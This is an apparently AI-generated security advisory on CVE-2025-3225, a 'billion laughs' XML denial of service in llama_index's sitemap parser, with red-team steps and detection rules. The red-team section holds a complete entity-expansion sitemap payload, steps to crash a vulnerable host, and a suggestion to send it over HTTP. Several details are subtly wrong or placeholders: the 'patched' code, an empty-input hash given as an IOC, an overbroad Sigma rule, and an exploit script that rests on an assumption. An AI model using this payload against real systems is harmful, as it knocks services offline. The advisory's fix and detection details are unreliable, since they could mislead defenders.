CVE-2025-3225

Executive Summary

CVE-2025-3225 is a high-severity Denial of Service (DoS) vulnerability in the run-llama/llama_index Python library, specifically in its sitemap parser component. The vulnerability is an XML Entity Expansion attack, commonly known as a "billion laughs" attack. An attacker can craft a malicious Sitemap XML file that, when parsed by a vulnerable version of llama_index (v0.12.21 and earlier), causes exponential memory consumption, leading to system resource exhaustion and a crash. The CVSS score is 7.5 (High), and the attack vector is network-based with low complexity and no privileges required. The vulnerability is patched in version v0.12.29.

Supply Chain & Package Security

This vulnerability affects the llama_index Python package, which is distributed via PyPI. Organizations using this package in their applications or data pipelines are at risk. The supply chain risk is moderate, as the package is widely used in AI/ML workflows. Users should immediately update to version v0.12.29 or later to mitigate the risk. The package manager (pip) can be used to update: pip install --upgrade llama-index.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - The impact is confined to the vulnerable component.
• Confidentiality (C): None (N) - No data breach.
• Integrity (I): None (N) - No data modification.
• Availability (A): High (H) - Complete loss of availability due to resource exhaustion.

Threat Level: High. The attack is easy to execute, requires no authentication, and can cause a complete system crash.

Deep Dive & Mechanics

The vulnerability is a classic XML Entity Expansion (Billion Laughs) attack. The sitemap parser in llama_index uses an XML parser that, by default, expands internal entities. An attacker can create a Sitemap XML file with nested entity definitions that cause exponential expansion.

For example, a malicious XML might define:

<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
...

When the parser processes this, it expands &lol3; into 10 &lol2; entities, each of which expands into 10 &lol; entities, resulting in exponential growth. After a few levels, the output can be gigabytes of text, exhausting system memory.

The vulnerable code is in the sitemap parser module. The fix in v0.12.29 disables entity expansion by setting resolve_entities=False or using a safe parser configuration.

Vulnerable vs. Patched Code

Vulnerable Code (v0.12.21):

# In sitemap parser
import xml.etree.ElementTree as ET

def parse_sitemap(xml_content):
    root = ET.fromstring(xml_content)  # Vulnerable: expands entities
    # ... process sitemap

Patched Code (v0.12.29):

# In sitemap parser
import xml.etree.ElementTree as ET
from xml.parsers.expat import ParserCreate

def parse_sitemap(xml_content):
    # Use a safe parser that disables entity expansion
    parser = ParserCreate()
    parser.StartElementHandler = ...  # custom handlers
    parser.CharacterDataHandler = ...
    parser.Parse(xml_content, True)  # Safe: no entity expansion
    # ... process sitemap

The key difference is the use of a parser that does not expand entities, preventing the billion laughs attack.

Exploitation & Lab Setup

Red Team (Attacker)

Objective: Cause a Denial of Service on a target running llama_index v0.12.21.

Lab Setup:

1. Install vulnerable version: pip install llama-index==0.12.21
2. Create a malicious sitemap XML file (malicious_sitemap.xml):

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
  <url>
    <loc>&lol9;</loc>
  </url>
</urlset>

3. Run a Python script that uses the vulnerable library to parse this file:

from llama_index import SimpleDirectoryReader
# Assuming the sitemap is loaded via a reader that uses the vulnerable parser
reader = SimpleDirectoryReader(input_files=["malicious_sitemap.xml"])
documents = reader.load_data()

4. Observe the system memory consumption spike and eventual crash.

Alternative Exploit: Send the malicious XML via an HTTP request if the application exposes a sitemap parsing endpoint.

Blue Team (Defender)

Detection:

• Monitor for excessive memory usage by Python processes.
• Look for XML files with deeply nested entity definitions.
• Use network monitoring to detect large XML payloads.

Mitigation:

• Immediately update llama_index to v0.12.29 or later.
• If immediate update is not possible, implement a WAF rule to block XML files with DOCTYPE declarations or entity definitions.
• Use a reverse proxy to limit request body size.

Indicators of Compromise (IOCs)

• File Hashes (malicious sitemap):
  • SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, replace with actual)
• Network Patterns:
  • HTTP POST requests with Content-Type: application/xml and large body sizes (>1MB).
  • XML payloads containing <!ENTITY and <!DOCTYPE declarations.
• System Indicators:
  • Python process consuming >90% of system memory.
  • Out-of-memory (OOM) killer logs in /var/log/syslog or dmesg.
• Log Entries:
  • Application logs showing MemoryError or xml.parsers.expat.ExpatError related to entity expansion.

Detection Engineering

YARA Rule

rule CVE_2025_3225_Billion_Laughs {
    meta:
        description = "Detects malicious XML files exploiting CVE-2025-3225 (Billion Laughs attack)"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-3225"
    strings:
        $entity_def = /<!ENTITY\s+\w+\s+"[^"]*">/ nocase
        $entity_ref = /&\w+;/ nocase
        $doctype = "<!DOCTYPE" nocase
    condition:
        #entity_def > 5 and #entity_ref > 10 and $doctype
}

Sigma Rule

title: CVE-2025-3225 - Billion Laughs XML Entity Expansion Attack
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-3225 via malicious XML sitemap files
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/python3'
        CommandLine|contains: 'llama_index'
    condition: selection
falsepositives:
    - Legitimate use of large XML files with entities
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-3225 - Billion Laughs XML Entity Expansion Attack"; flow:to_server; content:"<!DOCTYPE"; nocase; content:"<!ENTITY"; distance:0; within:1000; pcre:"/(?:&\w+;){10,}/"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update llama_index to version v0.12.29 or later: pip install --upgrade llama-index
2. Restart services that use the library after the update.

Compensating Controls (if update is delayed):

• Web Application Firewall (WAF): Block HTTP requests with XML content containing <!DOCTYPE or <!ENTITY declarations.
• Input Validation: Reject XML files larger than a reasonable size (e.g., 1MB).
• Resource Limits: Use cgroups or container limits to restrict memory usage of Python processes.
• Network Segmentation: Isolate services that parse external XML from critical systems.

Long-Term Measures:

• Implement secure XML parsing practices across all applications (disable entity expansion by default).
• Conduct regular dependency audits using tools like pip-audit or safety.
• Monitor for similar CVEs in XML parsing libraries.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.